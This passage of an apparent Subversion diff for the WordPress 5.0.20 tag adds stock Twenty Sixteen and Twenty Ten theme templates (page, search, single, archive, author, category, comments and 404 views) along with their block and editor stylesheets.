+ * The template used for displaying page content
+ *
+ * @package WordPress
+ * @subpackage Twenty_Sixteen
+ * @since Twenty Sixteen 1.0
+ */
+?>
+
+<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+	<header class="entry-header">
+		<?php the_title( '<h1 class="entry-title">', '</h1>' ); ?>
+	</header><!-- .entry-header -->
+
+	<?php twentysixteen_post_thumbnail(); ?>
+
+	<div class="entry-content">
+		<?php
+		the_content();
+
+		wp_link_pages( array(
+			'before'      => '<div class="page-links"><span class="page-links-title">' . __( 'Pages:', 'twentysixteen' ) . '</span>',
+			'after'       => '</div>',
+			'link_before' => '<span>',
+			'link_after'  => '</span>',
+			'pagelink'    => '<span class="screen-reader-text">' . __( 'Page', 'twentysixteen' ) . ' </span>%',
+			'separator'   => '<span class="screen-reader-text">, </span>',
+		) );
+		?>
+	</div><!-- .entry-content -->
+
+	<?php
+		edit_post_link(
+			sprintf(
+				/* translators: %s: Name of current post */
+				__( 'Edit<span class="screen-reader-text"> "%s"</span>', 'twentysixteen' ),
+				get_the_title()
+			),
+			'<footer class="entry-footer"><span class="edit-link">',
+			'</span></footer><!-- .entry-footer -->'
+		);
+	?>
+
+</article><!-- #post-## -->
Index: /tags/5.0.20/src/wp-content/themes/twentysixteen/template-parts/content-search.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentysixteen/template-parts/content-search.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentysixteen/template-parts/content-search.php	(revision 56912)
@@ -0,0 +1,53 @@
+<?php
+/**
+ * The template part for displaying results in search pages
+ *
+ * @package WordPress
+ * @subpackage Twenty_Sixteen
+ * @since Twenty Sixteen 1.0
+ */
+?>
+
+<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+	<header class="entry-header">
+		<?php the_title( sprintf( '<h2 class="entry-title"><a href="%s" rel="bookmark">', esc_url( get_permalink() ) ), '</a></h2>' ); ?>
+	</header><!-- .entry-header -->
+
+	<?php twentysixteen_post_thumbnail(); ?>
+
+	<?php twentysixteen_excerpt(); ?>
+
+	<?php if ( 'post' === get_post_type() ) : ?>
+
+		<footer class="entry-footer">
+			<?php twentysixteen_entry_meta(); ?>
+			<?php
+				edit_post_link(
+					sprintf(
+						/* translators: %s: Name of current post */
+						__( 'Edit<span class="screen-reader-text"> "%s"</span>', 'twentysixteen' ),
+						get_the_title()
+					),
+					'<span class="edit-link">',
+					'</span>'
+				);
+			?>
+		</footer><!-- .entry-footer -->
+
+	<?php else : ?>
+
+		<?php
+			edit_post_link(
+				sprintf(
+					/* translators: %s: Name of current post */
+					__( 'Edit<span class="screen-reader-text"> "%s"</span>', 'twentysixteen' ),
+					get_the_title()
+				),
+				'<footer class="entry-footer"><span class="edit-link">',
+				'</span></footer><!-- .entry-footer -->'
+			);
+		?>
+
+	<?php endif; ?>
+</article><!-- #post-## -->
+
Index: /tags/5.0.20/src/wp-content/themes/twentysixteen/template-parts/content-single.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentysixteen/template-parts/content-single.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentysixteen/template-parts/content-single.php	(revision 56912)
@@ -0,0 +1,53 @@
+<?php
+/**
+ * The template part for displaying single posts
+ *
+ * @package WordPress
+ * @subpackage Twenty_Sixteen
+ * @since Twenty Sixteen 1.0
+ */
+?>
+
+<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+	<header class="entry-header">
+		<?php the_title( '<h1 class="entry-title">', '</h1>' ); ?>
+	</header><!-- .entry-header -->
+
+	<?php twentysixteen_excerpt(); ?>
+
+	<?php twentysixteen_post_thumbnail(); ?>
+
+	<div class="entry-content">
+		<?php
+			the_content();
+
+			wp_link_pages( array(
+				'before'      => '<div class="page-links"><span class="page-links-title">' . __( 'Pages:', 'twentysixteen' ) . '</span>',
+				'after'       => '</div>',
+				'link_before' => '<span>',
+				'link_after'  => '</span>',
+				'pagelink'    => '<span class="screen-reader-text">' . __( 'Page', 'twentysixteen' ) . ' </span>%',
+				'separator'   => '<span class="screen-reader-text">, </span>',
+			) );
+
+			if ( '' !== get_the_author_meta( 'description' ) ) {
+				get_template_part( 'template-parts/biography' );
+			}
+		?>
+	</div><!-- .entry-content -->
+
+	<footer class="entry-footer">
+		<?php twentysixteen_entry_meta(); ?>
+		<?php
+			edit_post_link(
+				sprintf(
+					/* translators: %s: Name of current post */
+					__( 'Edit<span class="screen-reader-text"> "%s"</span>', 'twentysixteen' ),
+					get_the_title()
+				),
+				'<span class="edit-link">',
+				'</span>'
+			);
+		?>
+	</footer><!-- .entry-footer -->
+</article><!-- #post-## -->
Index: /tags/5.0.20/src/wp-content/themes/twentysixteen/template-parts/content.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentysixteen/template-parts/content.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentysixteen/template-parts/content.php	(revision 56912)
@@ -0,0 +1,57 @@
+<?php
+/**
+ * The template part for displaying content
+ *
+ * @package WordPress
+ * @subpackage Twenty_Sixteen
+ * @since Twenty Sixteen 1.0
+ */
+?>
+
+<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+	<header class="entry-header">
+		<?php if ( is_sticky() && is_home() && ! is_paged() ) : ?>
+			<span class="sticky-post"><?php _e( 'Featured', 'twentysixteen' ); ?></span>
+		<?php endif; ?>
+
+		<?php the_title( sprintf( '<h2 class="entry-title"><a href="%s" rel="bookmark">', esc_url( get_permalink() ) ), '</a></h2>' ); ?>
+	</header><!-- .entry-header -->
+
+	<?php twentysixteen_excerpt(); ?>
+
+	<?php twentysixteen_post_thumbnail(); ?>
+
+	<div class="entry-content">
+		<?php
+			/* translators: %s: Name of current post */
+			the_content( sprintf(
+				__( 'Continue reading<span class="screen-reader-text"> "%s"</span>', 'twentysixteen' ),
+				get_the_title()
+			) );
+
+			wp_link_pages( array(
+				'before'      => '<div class="page-links"><span class="page-links-title">' . __( 'Pages:', 'twentysixteen' ) . '</span>',
+				'after'       => '</div>',
+				'link_before' => '<span>',
+				'link_after'  => '</span>',
+				'pagelink'    => '<span class="screen-reader-text">' . __( 'Page', 'twentysixteen' ) . ' </span>%',
+				'separator'   => '<span class="screen-reader-text">, </span>',
+			) );
+		?>
+	</div><!-- .entry-content -->
+
+	<footer class="entry-footer">
+		<?php twentysixteen_entry_meta(); ?>
+		<?php
+			edit_post_link(
+				sprintf(
+					/* translators: %s: Name of current post */
+					__( 'Edit<span class="screen-reader-text"> "%s"</span>', 'twentysixteen' ),
+					get_the_title()
+				),
+				'<span class="edit-link">',
+				'</span>'
+			);
+		?>
+	</footer><!-- .entry-footer -->
+</article><!-- #post-## -->
Index: /tags/5.0.20/src/wp-content/themes/twentyten/404.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyten/404.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyten/404.php	(revision 56912)
@@ -0,0 +1,30 @@
+<?php
+/**
+ * Template for displaying 404 pages (Not Found)
+ *
+ * @package WordPress
+ * @subpackage Twenty_Ten
+ * @since Twenty Ten 1.0
+ */
+
+get_header(); ?>
+
+	<div id="container">
+		<div id="content" role="main">
+
+			<div id="post-0" class="post error404 not-found">
+				<h1 class="entry-title"><?php _e( 'Not Found', 'twentyten' ); ?></h1>
+				<div class="entry-content">
+					<p><?php _e( 'Apologies, but the page you requested could not be found. Perhaps searching will help.', 'twentyten' ); ?></p>
+					<?php get_search_form(); ?>
+				</div><!-- .entry-content -->
+			</div><!-- #post-0 -->
+
+		</div><!-- #content -->
+	</div><!-- #container -->
+	<script type="text/javascript">
+		// focus on search field after it has loaded
+		document.getElementById('s') && document.getElementById('s').focus();
+	</script>
+
+<?php get_footer(); ?>
Index: /tags/5.0.20/src/wp-content/themes/twentyten/archive.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyten/archive.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyten/archive.php	(revision 56912)
@@ -0,0 +1,64 @@
+<?php
+/**
+ * Template for displaying Archive pages
+ *
+ * Used to display archive-type pages if nothing more specific matches a query.
+ * For example, puts together date-based pages if no date.php file exists.
+ *
+ * @link https://codex.wordpress.org/Template_Hierarchy
+ *
+ * @package WordPress
+ * @subpackage Twenty_Ten
+ * @since Twenty Ten 1.0
+ */
+
+get_header(); ?>
+
+		<div id="container">
+			<div id="content" role="main">
+
+<?php
+	/*
+	 * Queue the first post, that way we know
+	 * what date we're dealing with (if that is the case).
+	 *
+	 * We reset this later so we can run the loop
+	 * properly with a call to rewind_posts().
+	 */
+	if ( have_posts() )
+		the_post();
+?>
+
+			<h1 class="page-title">
+<?php if ( is_day() ) : ?>
+				<?php printf( __( 'Daily Archives: <span>%s</span>', 'twentyten' ), get_the_date() ); ?>
+<?php elseif ( is_month() ) : ?>
+				<?php printf( __( 'Monthly Archives: <span>%s</span>', 'twentyten' ), get_the_date( _x( 'F Y', 'monthly archives date format', 'twentyten' ) ) ); ?>
+<?php elseif ( is_year() ) : ?>
+				<?php printf( __( 'Yearly Archives: <span>%s</span>', 'twentyten' ), get_the_date( _x( 'Y', 'yearly archives date format', 'twentyten' ) ) ); ?>
+<?php else : ?>
+				<?php _e( 'Blog Archives', 'twentyten' ); ?>
+<?php endif; ?>
+			</h1>
+
+<?php
+	/*
+	 * Since we called the_post() above, we need to
+	 * rewind the loop back to the beginning that way
+	 * we can run the loop properly, in full.
+	 */
+	rewind_posts();
+
+	/*
+	 * Run the loop for the archives page to output the posts.
+	 * If you want to overload this in a child theme then include a file
+	 * called loop-archive.php and that will be used instead.
+	 */
+	get_template_part( 'loop', 'archive' );
+?>
+
+			</div><!-- #content -->
+		</div><!-- #container -->
+
+<?php get_sidebar(); ?>
+<?php get_footer(); ?>
Index: /tags/5.0.20/src/wp-content/themes/twentyten/attachment.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyten/attachment.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyten/attachment.php	(revision 56912)
@@ -0,0 +1,27 @@
+<?php
+/**
+ * Template for displaying attachments
+ *
+ * @package WordPress
+ * @subpackage Twenty_Ten
+ * @since Twenty Ten 1.0
+ */
+
+get_header(); ?>
+
+		<div id="container" class="single-attachment">
+			<div id="content" role="main">
+
+			<?php
+			/*
+			 * Run the loop to output the attachment.
+			 * If you want to overload this in a child theme then include a file
+			 * called loop-attachment.php and that will be used instead.
+			 */
+			get_template_part( 'loop', 'attachment' );
+			?>
+
+			</div><!-- #content -->
+		</div><!-- #container -->
+
+<?php get_footer(); ?>
Index: /tags/5.0.20/src/wp-content/themes/twentyten/author.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyten/author.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyten/author.php	(revision 56912)
@@ -0,0 +1,72 @@
+<?php
+/**
+ * Template for displaying Author Archive pages
+ *
+ * @package WordPress
+ * @subpackage Twenty_Ten
+ * @since Twenty Ten 1.0
+ */
+
+get_header(); ?>
+
+		<div id="container">
+			<div id="content" role="main">
+
+<?php
+	/*
+	 * Queue the first post, that way we know who
+	 * the author is when we try to get their name,
+	 * URL, description, avatar, etc.
+	 *
+	 * We reset this later so we can run the loop
+	 * properly with a call to rewind_posts().
+	 */
+	if ( have_posts() )
+		the_post();
+?>
+
+				<h1 class="page-title author"><?php printf( __( 'Author Archives: %s', 'twentyten' ), '<span class="vcard"><a class="url fn n" href="' . esc_url( get_author_posts_url( get_the_author_meta( 'ID' ) ) ) . '" title="' . esc_attr( get_the_author() ) . '" rel="me">' . get_the_author() . '</a></span>' ); ?></h1>
+
+<?php
+// If a user has filled out their description, show a bio on their entries.
+if ( get_the_author_meta( 'description' ) ) : ?>
+					<div id="entry-author-info">
+						<div id="author-avatar">
+							<?php
+							/**
+							 * Filter the Twenty Ten author bio avatar size.
+							 *
+							 * @since Twenty Ten 1.0
+							 *
+							 * @param int The height and width avatar dimensions in pixels. Default 60.
+							 */
+							echo get_avatar( get_the_author_meta( 'user_email' ), apply_filters( 'twentyten_author_bio_avatar_size', 60 ) );
+							?>
+						</div><!-- #author-avatar -->
+						<div id="author-description">
+							<h2><?php printf( __( 'About %s', 'twentyten' ), get_the_author() ); ?></h2>
+							<?php the_author_meta( 'description' ); ?>
+						</div><!-- #author-description	-->
+					</div><!-- #entry-author-info -->
+<?php endif; ?>
+
+<?php
+	/*
+	 * Since we called the_post() above, we need to
+	 * rewind the loop back to the beginning that way
+	 * we can run the loop properly, in full.
+	 */
+	rewind_posts();
+
+	/*
+	 * Run the loop for the author archive page to output the authors posts
+	 * If you want to overload this in a child theme then include a file
+	 * called loop-author.php and that will be used instead.
+	 */
+	get_template_part( 'loop', 'author' );
+?>
+			</div><!-- #content -->
+		</div><!-- #container -->
+
+<?php get_sidebar(); ?>
+<?php get_footer(); ?>
Index: /tags/5.0.20/src/wp-content/themes/twentyten/blocks.css
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyten/blocks.css	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyten/blocks.css	(revision 56912)
@@ -0,0 +1,255 @@
+/*
+Theme Name: Twenty Ten
+Description: Used to style blocks.
+*/
+
+/*--------------------------------------------------------------
+>>> TABLE OF CONTENTS:
+----------------------------------------------------------------
+1.0 General Block Styles
+2.0 Blocks - Common Blocks
+3.0 Blocks - Formatting
+4.0 Blocks - Layout Elements
+5.0 Blocks - Widgets
+6.0 Blocks - Colors
+--------------------------------------------------------------*/
+
+/*--------------------------------------------------------------
+1.0 General Block Styles
+--------------------------------------------------------------*/
+
+/* Captions */
+
+[class^="wp-block-"]:not(.wp-block-gallery) figcaption {
+	color: #777;
+	font-family: "Helvetica Neue", Arial, Helvetica, "Nimbus Sans L", sans-serif;
+}
+
+/* Alignments */
+
+[class^="wp-block-"].alignleft,
+[class^="wp-block-"] .alignleft {
+	margin-right: 24px;
+}
+
+[class^="wp-block-"].alignright,
+[class^="wp-block-"] .alignright {
+	margin-left: 24px;
+}
+
+/*--------------------------------------------------------------
+2.0 Blocks - Common Blocks
+--------------------------------------------------------------*/
+
+/* Paragraph */
+
+p.has-drop-cap:not(:focus)::first-letter {
+	font-size: 5em;
+	margin-top: 0.1em;
+}
+
+/* Image */
+
+.wp-block-image figure {
+	margin-bottom: 24px;
+}
+
+.wp-block-image figcaption {
+	margin: -7px 0 20px;;
+	padding: 9px 9px 1.0em;
+	text-align: center;
+}
+
+.wp-block-image.alignfull,
+.wp-block-image.alignfull img {
+	margin: 0;
+}
+
+/* Gallery */
+
+.wp-block-gallery {
+	margin: 0 0 24px;
+}
+
+.wp-block-gallery .blocks-gallery-image figcaption,
+.wp-block-gallery .blocks-gallery-item figcaption {
+	font-family: "Helvetica Neue", Arial, Helvetica, "Nimbus Sans L", sans-serif;
+	left: 0;
+	right: 0;
+	width: auto;
+}
+
+/* Quotes */
+
+.wp-block-quote:not(.is-large):not(.is-style-large) {
+	border: none;
+	padding: 0 3em;
+}
+
+.wp-block-quote cite {
+	color: inherit;
+	font-size: inherit;
+	font-weight: 600;
+}
+
+/* Audio */
+
+.wp-block-audio {
+	margin-left: 0;
+	margin-right: 0;
+}
+
+.wp-block-audio audio {
+	display: block;
+	width: 100%;
+}
+
+/* File */
+
+.rtl .wp-block-file * + .wp-block-file__button {
+	margin: 0 0 0 0.75em;
+}
+
+/*--------------------------------------------------------------
+3.0 Blocks - Formatting
+--------------------------------------------------------------*/
+
+/* Code */
+
+.wp-block-code {
+	background-color: transparent;
+	border: 0;
+	padding: 0;
+}
+
+/* Pullquote */
+
+.wp-block-pullquote p {
+	font-size: 1.5em;
+}
+
+.wp-block-pullquote__citation,
+.wp-block-pullquote cite {
+	color: inherit;
+	font-size: inherit;
+	font-weight: 600;
+	text-transform: none;
+}
+
+/* Table */
+
+.wp-block-table td,
+.wp-block-table th {
+	border: none;
+}
+
+.wp-block-table td {
+	border-top: 1px solid #e7e7e7;
+}
+
+.wp-block-table tr:nth-child(odd) td {
+	background: #f2f7fc;
+}
+
+/*--------------------------------------------------------------
+4.0 Blocks - Layout Elements
+--------------------------------------------------------------*/
+
+/* Separator */
+
+.wp-block-separator {
+	border: 0;
+}
+
+/* Media & Text */
+
+.wp-block-media-text {
+	margin-bottom: 24px;
+}
+
+/*--------------------------------------------------------------
+5.0 Blocks - Widgets
+--------------------------------------------------------------*/
+
+/* Archives, Categories & Latest Posts */
+
+.wp-block-archives.aligncenter,
+.wp-block-categories.aligncenter,
+.wp-block-latest-posts.aligncenter {
+	margin-left: 20px;
+	text-align: center;
+}
+
+.rtl .wp-block-archives.aligncenter,
+.rtl .wp-block-categories.aligncenter,
+.rtl .wp-block-latest-posts.aligncenter {
+	margin-left: 0;
+	margin-right: 20px;
+}
+
+/* Latest Comments */
+
+.wp-block-latest-comments {
+	margin: 0 0 24px;
+}
+
+/* Latest Posts */
+
+.wp-block-latest-posts.is-grid {
+	margin-left: 0;
+	margin-right: 0;
+}
+
+/*--------------------------------------------------------------
+6.0 Blocks - Colors
+--------------------------------------------------------------*/
+
+.has-blue-color,
+.has-blue-color:visited {
+	color: #0066cc;
+}
+
+.has-blue-background-color,
+.has-blue-background-color:visited {
+	background-color: #0066cc;
+}
+
+.has-black-color,
+.has-black-color:visited {
+	color: #000;
+}
+
+.has-black-background-color,
+.has-black-background-color:visited {
+	background-color: #000;
+}
+
+.has-medium-gray-color,
+.has-medium-gray-color:visited {
+	color: #666;
+}
+
+.has-medium-gray-background-color,
+.has-medium-gray-background-color:visited {
+	background-color: #666;
+}
+
+.has-light-gray-color,
+.has-light-gray-color:visited {
+	color: #f1f1f1;
+}
+
+.has-light-gray-background-color,
+.has-light-gray-background-color:visited {
+	background-color: #f1f1f1;
+}
+
+.has-white-color,
+.has-white-color:visited {
+	color: #fff;
+}
+
+.has-white-background-color,
+.has-white-background-color:visited {
+	background-color: #fff;
+}
Index: /tags/5.0.20/src/wp-content/themes/twentyten/category.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyten/category.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyten/category.php	(revision 56912)
@@ -0,0 +1,35 @@
+<?php
+/**
+ * Template for displaying Category Archive pages
+ *
+ * @package WordPress
+ * @subpackage Twenty_Ten
+ * @since Twenty Ten 1.0
+ */
+
+get_header(); ?>
+
+		<div id="container">
+			<div id="content" role="main">
+
+				<h1 class="page-title"><?php
+					printf( __( 'Category Archives: %s', 'twentyten' ), '<span>' . single_cat_title( '', false ) . '</span>' );
+				?></h1>
+				<?php
+					$category_description = category_description();
+					if ( ! empty( $category_description ) )
+						echo '<div class="archive-meta">' . $category_description . '</div>';
+
+				/*
+				 * Run the loop for the category page to output the posts.
+				 * If you want to overload this in a child theme then include a file
+				 * called loop-category.php and that will be used instead.
+				 */
+				get_template_part( 'loop', 'category' );
+				?>
+
+			</div><!-- #content -->
+		</div><!-- #container -->
+
+<?php get_sidebar(); ?>
+<?php get_footer(); ?>
Index: /tags/5.0.20/src/wp-content/themes/twentyten/comments.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyten/comments.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyten/comments.php	(revision 56912)
@@ -0,0 +1,80 @@
+<?php
+/**
+ * Template for displaying Comments
+ *
+ * The area of the page that contains both current comments
+ * and the comment form. The actual display of comments is
+ * handled by a callback to twentyten_comment which is
+ * located in the functions.php file.
+ *
+ * @package WordPress
+ * @subpackage Twenty_Ten
+ * @since Twenty Ten 1.0
+ */
+?>
+
+			<div id="comments">
+<?php if ( post_password_required() ) : ?>
+				<p class="nopassword"><?php _e( 'This post is password protected. Enter the password to view any comments.', 'twentyten' ); ?></p>
+			</div><!-- #comments -->
+<?php
+		/*
+		 * Stop the rest of comments.php from being processed,
+		 * but don't kill the script entirely -- we still have
+		 * to fully load the template.
+		 */
+		return;
+	endif;
+?>
+
+<?php
+	// You can start editing here -- including this comment!
+?>
+
+<?php if ( have_comments() ) : ?>
+			<h3 id="comments-title"><?php
+			printf( _n( 'One Response to %2$s', '%1$s Responses to %2$s', get_comments_number(), 'twentyten' ),
+			number_format_i18n( get_comments_number() ), '<em>' . get_the_title() . '</em>' );
+			?></h3>
+
+<?php if ( get_comment_pages_count() > 1 && get_option( 'page_comments' ) ) : // Are there comments to navigate through? ?>
+			<div class="navigation">
+				<div class="nav-previous"><?php previous_comments_link( __( '<span class="meta-nav">&larr;</span> Older Comments', 'twentyten' ) ); ?></div>
+				<div class="nav-next"><?php next_comments_link( __( 'Newer Comments <span class="meta-nav">&rarr;</span>', 'twentyten' ) ); ?></div>
+			</div> <!-- .navigation -->
+<?php endif; // check for comment navigation ?>
+
+			<ol class="commentlist">
+				<?php
+					/*
+					 * Loop through and list the comments. Tell wp_list_comments()
+					 * to use twentyten_comment() to format the comments.
+					 * If you want to overload this in a child theme then you can
+					 * define twentyten_comment() and that will be used instead.
+					 * See twentyten_comment() in twentyten/functions.php for more.
+					 */
+					wp_list_comments( array( 'callback' => 'twentyten_comment' ) );
+				?>
+			</ol>
+
+<?php if ( get_comment_pages_count() > 1 && get_option( 'page_comments' ) ) : // Are there comments to navigate through? ?>
+			<div class="navigation">
+				<div class="nav-previous"><?php previous_comments_link( __( '<span class="meta-nav">&larr;</span> Older Comments', 'twentyten' ) ); ?></div>
+				<div class="nav-next"><?php next_comments_link( __( 'Newer Comments <span class="meta-nav">&rarr;</span>', 'twentyten' ) ); ?></div>
+			</div><!-- .navigation -->
+<?php endif; // check for comment navigation ?>
+
+	<?php
+	/*
+	 * If there are no comments and comments are closed, let's leave a little note, shall we?
+	 * But we only want the note on posts and pages that had comments in the first place.
+	 */
+	if ( ! comments_open() && get_comments_number() ) : ?>
+		<p class="nocomments"><?php _e( 'Comments are closed.' , 'twentyten' ); ?></p>
+	<?php endif;  ?>
+
+<?php endif; // end have_comments() ?>
+
+<?php comment_form(); ?>
+
+</div><!-- #comments -->
Index: /tags/5.0.20/src/wp-content/themes/twentyten/editor-blocks.css
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyten/editor-blocks.css	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyten/editor-blocks.css	(revision 56912)
@@ -0,0 +1,308 @@
+/*
+Theme Name: Twenty Ten
+Description: Used to style blocks in the editor.
+*/
+
+/*--------------------------------------------------------------
+>>> TABLE OF CONTENTS:
+----------------------------------------------------------------
+1.0 General Typography
+2.0 General Block Styles
+3.0 Blocks - Common Blocks
+4.0 Blocks - Formatting
+5.0 Blocks - Widgets
+--------------------------------------------------------------*/
+
+/*--------------------------------------------------------------
+1.0 General Typography
+--------------------------------------------------------------*/
+
+.edit-post-visual-editor .editor-block-list__block,
+.edit-post-visual-editor .editor-block-list__block p,
+.editor-default-block-appender textarea.editor-default-block-appender__content {
+	font-size: 16px;
+}
+
+.editor-default-block-appender textarea.editor-default-block-appender__content {
+	font-family: Georgia, "Bitstream Charter", serif;
+}
+
+.edit-post-visual-editor .editor-block-list__block .mce-content-body,
+.wp-block-freeform.block-library-rich-text__tinymce p,
+.wp-block-freeform.block-library-rich-text__tinymce li {
+	line-height: 1.5;
+}
+
+.edit-post-visual-editor .editor-block-list__block {
+	color: #1a1a1a;
+}
+
+.editor-post-title__block .editor-post-title__input {
+	color: #000;
+	font-family: "Helvetica Neue", Arial, Helvetica, "Nimbus Sans L", sans-serif;
+	font-size: 21px;
+	font-weight: bold;
+	line-height: 1.3em;
+}
+
+.edit-post-visual-editor .editor-block-list__block h1 {
+	font-size: 32px;
+}
+
+.edit-post-visual-editor .editor-block-list__block h2 {
+	font-size: 24px;
+}
+
+.edit-post-visual-editor .editor-block-list__block h3 {
+	font-size: 19px;
+}
+
+.edit-post-visual-editor .editor-block-list__block h4 {
+	font-size: 16px;
+}
+
+.edit-post-visual-editor .editor-block-list__block h5 {
+	font-size: 13px;
+}
+
+.edit-post-visual-editor .editor-block-list__block h6 {
+	font-size: 11px;
+}
+
+/*--------------------------------------------------------------
+2.0 General Block Styles
+--------------------------------------------------------------*/
+
+/* Main column width */
+
+.wp-block {
+	max-width: 670px; /* 640px + 30px to account for padding */
+}
+
+/* Link styles */
+
+.edit-post-visual-editor a,
+.editor-block-list__block a,
+.wp-block-freeform.block-library-rich-text__tinymce a {
+	color: #0066cc;
+}
+
+/* List styles */
+
+.edit-post-visual-editor ul:not(.wp-block-gallery),
+.editor-block-list__block ul:not(.wp-block-gallery),
+.block-library-list ul,
+.edit-post-visual-editor ol,
+.editor-block-list__block ol,
+.block-library-list ol.editor-rich-text__tinymce {
+	margin: 0 0 18px 1.5em;
+	padding: 0;
+}
+
+.edit-post-visual-editor ul:not(.wp-block-gallery),
+.editor-block-list__block ul:not(.wp-block-gallery),
+.block-library-list ul {
+	list-style: square;
+}
+
+.edit-post-visual-editor ol,
+.editor-block-list__block ol,
+.block-library-list ol {
+	list-style: decimal;
+	margin-left: 1.5em;
+}
+
+.edit-post-visual-editor ul:not(.wp-block-gallery) li,
+.editor-block-list__block ul:not(.wp-block-gallery) li,
+.edit-post-visual-editor ol li,
+.editor-block-list__block ol li,
+.block-library-list li {
+	margin-bottom: 0;
+}
+
+.edit-post-visual-editor ul:not(.wp-block-gallery) li > ul,
+.editor-block-list__block ul:not(.wp-block-gallery) li > ul,
+.block-library-list li > ul,
+.edit-post-visual-editor li > ol,
+.editor-block-list__block li > ol,
+.block-library-list li > ol {
+	margin-bottom: 0;
+}
+
+.rtl .edit-post-visual-editor ul:not(.wp-block-gallery),
+.rtl .editor-block-list__block ul:not(.wp-block-gallery),
+.rtl .block-library-list ul,
+.rtl .edit-post-visual-editor ol,
+.rtl .editor-block-list__block ol,
+.rtl .block-library-list ol {
+	margin-left: 0;
+	margin-right: 1.25em;
+	padding: 0;
+}
+
+/* Caption styles */
+
+[class^="wp-block-"] figcaption {
+	color: #777;
+	font-family: "Helvetica Neue", Arial, Helvetica, "Nimbus Sans L", sans-serif;
+}
+
+/* Code styles */
+
+.wp-block-freeform.block-library-rich-text__tinymce code {
+	background: transparent;
+}
+
+/* Quote styles */
+
+.wp-block-freeform.block-library-rich-text__tinymce blockquote {
+	border: 0;
+	padding: 0 3em;
+}
+
+/* Table styles */
+
+.editor-block-list__block tr th,
+.editor-block-list__block tr th a {
+	font-family: "Helvetica Neue", Arial, Helvetica, "Nimbus Sans L", sans-serif;
+}
+
+/* Definition List styles */
+
+.editor-block-list__block dd {
+	margin-left: 0;
+	margin-right: 0;
+}
+
+/*--------------------------------------------------------------
+3.0 Blocks - Common Blocks
+--------------------------------------------------------------*/
+
+/* Paragraph */
+
+p.has-drop-cap:not(:focus)::first-letter {
+	font-size: 5em;
+	margin-top: 0.1em;
+}
+
+/* Image */
+
+.wp-block-image {
+	margin-bottom: 20px;
+}
+
+.wp-block-image figcaption {
+	display: block;
+	margin: -7px 0 0;
+	padding: 9px 9px 1.0em;
+	text-align: center;
+}
+
+/* Gallery */
+
+.editor-block-list__block .wp-block-gallery {
+	margin: 0 0 24px;
+}
+
+/* Quote */
+
+.wp-block-quote {
+	border: 0;
+	padding: 0 3em;
+}
+
+.wp-block-quote:not(.is-large):not(.is-style-large) {
+	border: 0;
+	padding: 0 3em;
+}
+
+.wp-block-quote .wp-block-quote__citation {
+	font-size: 16px;
+	font-weight: 600;
+}
+
+.wp-block-quote.is-large .wp-block-quote__citation,
+.wp-block-quote.is-style-large .wp-block-quote__citation  {
+	font-size: 18px;
+}
+
+/* Cover */
+
+.wp-block-cover-image-text,
+.wp-block-cover-text {
+	font-size: 32px;
+}
+
+/* File */
+
+.wp-block-file .wp-block-file__textlink .editor-rich-text__tinymce {
+	color: #0066cc;
+	font-size: 16px;
+	text-decoration: underline;
+}
+
+/*--------------------------------------------------------------
+4.0 Blocks - Formatting
+--------------------------------------------------------------*/
+
+/* Code */
+
+.wp-block-code {
+	border: 0;
+	padding: 0;
+}
+
+/* Pullquote */
+
+.wp-block-pullquote blockquote > .editor-rich-text p {
+	font-size: 1.5em;
+}
+
+.wp-block-pullquote .wp-block-pullquote__citation {
+	color: inherit;
+	font-size: inherit;
+	font-weight: 600;
+	text-transform: none;
+}
+
+/* Table */
+
+.wp-block-table tr:nth-child(odd) td {
+	background: #f2f7fc;
+}
+
+.wp-block-table th .wp-block-table__cell-content {
+	color: #777;
+	font-family: "Helvetica Neue", Arial, Helvetica, "Nimbus Sans L", sans-serif;
+}
+
+.editor-block-list__block .wp-block-table tr td {
+	padding-bottom: 0;
+	padding-top: 0;
+}
+
+/*--------------------------------------------------------------
+5.0 Blocks - Widgets
+--------------------------------------------------------------*/
+
+/* Latest Comments */
+
+.editor-block-list__block .wp-block-latest-comments {
+	margin: 0 0 24px;
+}
+
+.rtl .edit-post-visual-editor .wp-block-latest-comments {
+	margin-right: 0;
+}
+
+/* Latest Posts */
+
+.edit-post-visual-editor .editor-block-list__block .wp-block-latest-posts.is-grid {
+	list-style: none;
+	margin-left: 0;
+	margin-right: 0;
+}
+
+.edit-post-visual-editor .wp-block-latest-posts.is-grid li {
+	margin-bottom: 1em;
+}
Index: /tags/5.0.20/src/wp-content/themes/twentyten/editor-style-rtl.css
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyten/editor-style-rtl.css	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyten/editor-style-rtl.css	(revision 56912)
@@ -0,0 +1,29 @@
+/*
+Theme Name: Twenty Ten
+*/
+/*
+Used to style the TinyMCE editor.
+*/
+html .mceContentBody{
+	direction: rtl;
+	unicode-bidi: embed;
+	float: right;
+	width: 640px;
+}
+* {
+	font-family: Arial, Tahoma, sans-serif;
+}
+/* Text elements */
+ul, ol {
+	margin: 0 -18px 18px 0;
+}
+dd {
